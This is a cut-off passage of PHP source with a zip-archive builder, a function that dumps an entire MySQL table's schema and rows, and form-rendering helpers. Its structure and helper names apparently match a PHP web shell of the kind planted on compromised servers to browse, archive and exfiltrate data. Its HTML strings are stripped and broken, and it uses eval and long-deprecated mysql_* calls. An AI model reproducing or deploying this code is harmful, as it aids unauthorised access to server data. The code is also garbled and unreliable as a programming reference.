($timearray['year'] <1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] -1980) <<25) |($timearray['mon'] <<21) |($timearray['mday'] <<16) | ($timearray['hours'] <<11) |($timearray['minutes'] <<5) |($timearray['seconds'] >>1); } function addFile($data,$name,$time = 0) { $name = str_replace('\\','/',$name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = '\x'.$dtime[6] .$dtime[7] .'\x'.$dtime[4] .$dtime[5] .'\x'.$dtime[2] .$dtime[3] .'\x'.$dtime[0] .$dtime[1]; eval('$hexdtime = "'.$hexdtime .'";'); $fr = "\x50\x4b\x03\x04"; $fr .= "\x14\x00"; $fr .= "\x00\x00"; $fr .= "\x08\x00"; $fr .= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $c_len = strlen($zdata); $zdata = substr(substr($zdata,0,strlen($zdata) -4),2); $fr .= pack('V',$crc); $fr .= pack('V',$c_len); $fr .= pack('V',$unc_len); $fr .= pack('v',strlen($name)); $fr .= pack('v',0); $fr .= $name; $fr .= $zdata; $fr .= pack('V',$crc); $fr .= pack('V',$c_len); $fr .= pack('V',$unc_len); $this ->datasec[] = $fr; $new_offset = strlen(implode('',$this->datasec)); $cdrec = "\x50\x4b\x01\x02"; $cdrec .= "\x00\x00"; $cdrec .= "\x14\x00"; $cdrec .= "\x00\x00"; $cdrec .= "\x08\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V',$crc); $cdrec .= pack('V',$c_len); $cdrec .= pack('V',$unc_len); $cdrec .= pack('v',strlen($name) ); $cdrec .= pack('v',0 ); $cdrec .= pack('v',0 ); $cdrec .= pack('v',0 ); $cdrec .= pack('v',0 ); $cdrec .= pack('V',32 ); $cdrec .= pack('V',$this ->old_offset ); $this ->old_offset = $new_offset; $cdrec .= $name; $this ->ctrl_dir[] = $cdrec; } function file() { $data = implode('',$this ->datasec); $ctrldir = implode('',$this ->ctrl_dir); return $data .$ctrldir .$this ->eof_ctrl_dir .pack('v',sizeof($this ->ctrl_dir)) .pack('v',sizeof($this ->ctrl_dir)) .pack('V',strlen($ctrldir)) .pack('V',strlen($data)) ."\x00\x00"; } } function sqldumptable($table,$fp=0) { $tabledump = "DROP TABLE IF EXISTS $table;\n"; $tabledump .= "CREATE TABLE $table (\n"; $firstfield=1; $fields = q("SHOW FIELDS FROM $table"); while ($field = mysql_fetch_array($fields)) { if (!$firstfield) { $tabledump .= ",\n"; }else { $firstfield=0; } $tabledump .= " $field[Field] $field[Type]"; if (!empty($field["Default"])) { $tabledump .= " DEFAULT '$field[Default]'"; } if ($field['Null'] != "YES") { $tabledump .= " NOT NULL"; } if ($field['Extra'] != "") { $tabledump .= " $field[Extra]"; } } fr($fields); $keys = q("SHOW KEYS FROM $table"); while ($key = mysql_fetch_array($keys)) { $kname=$key['Key_name']; if ($kname != "PRIMARY"&&$key['Non_unique'] == 0) { $kname="UNIQUE|$kname"; } if(!is_array($index[$kname])) { $index[$kname] = array(); } $index[$kname][] = $key['Column_name']; } fr($keys); while(list($kname,$columns) = @each($index)) { $tabledump .= ",\n"; $colnames=implode($columns,","); if ($kname == "PRIMARY") { $tabledump .= " PRIMARY KEY ($colnames)"; }else { if (substr($kname,0,6) == "UNIQUE") { $kname=substr($kname,7); } $tabledump .= " KEY $kname ($colnames)"; } } $tabledump .= "\n);\n\n"; if ($fp) { fwrite($fp,$tabledump); }else { echo $tabledump; } $rows = q("SELECT * FROM $table"); $numfields = mysql_num_fields($rows); while ($row = mysql_fetch_array($rows)) { $tabledump = "INSERT INTO $table VALUES("; $fieldcounter=-1; $firstfield=1; while (++$fieldcounter<$numfields) { if (!$firstfield) { $tabledump.=", "; }else { $firstfield=0; } if (!isset($row[$fieldcounter])) { $tabledump .= "NULL"; }else { $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'"; } } $tabledump .= ");\n"; if ($fp) { fwrite($fp,$tabledump); }else { echo $tabledump; } } fr($rows); if ($fp) { fwrite($fp,"\n"); }else { echo "\n"; } } function ue($str){ return urlencode($str); } function p($str){ echo $str."\n"; } function tbhead() { p(''); } function tbfoot(){ p('
'); } function makehide($name,$value=''){ p(""); } function makeinput($arg = array()){ $arg['size'] = $arg['size'] >0 ?"size=\"$arg[size]\"": "size=\"100\""; $arg['extra'] = $arg['extra'] ?$arg['extra'] : ''; !$arg['type'] &&$arg['type'] = 'text'; $arg['title'] = $arg['title'] ?$arg['title'].'
': ''; $arg['class'] = $arg['class'] ?$arg['class'] : 'input'; if ($arg['newline']) { p("

$arg[title]

"); }else { p("$arg[title]"); } } function makeselect($arg = array()){ if ($arg['onchange']) { $onchange = 'onchange="'.$arg['onchange'].'"'; } $arg['title'] = $arg['title'] ?$arg['title'] : ''; if ($arg['newline']) p('

'); p("$arg[title] "); if ($arg['newline']) p('

'); } function formhead($arg = array()) { !$arg['method'] &&$arg['method'] = 'post'; !$arg['action'] &&$arg['action'] = $self; $arg['target'] = $arg['target'] ?"target=\"$arg[target]\"": ''; !$arg['name'] &&$arg['name'] = 'form1'; p("
"); if ($arg['title']) { p('

'.$arg['title'].' »

'); } } function maketext($arg = array()){ !$arg['cols'] &&$arg['cols'] = 100; !$arg['rows'] &&$arg['rows'] = 25; $arg['title'] = $arg['title'] ?$arg['title'].'
': ''; p("

$arg[title]

"); } function formfooter($name = ''){ !$name &&$name = 'submit'; p('

'); p('
'); } function formfoot(){ p(''); } function pr($a) { echo '
';
print_r($a);
echo '
'; };echo ' '; ?>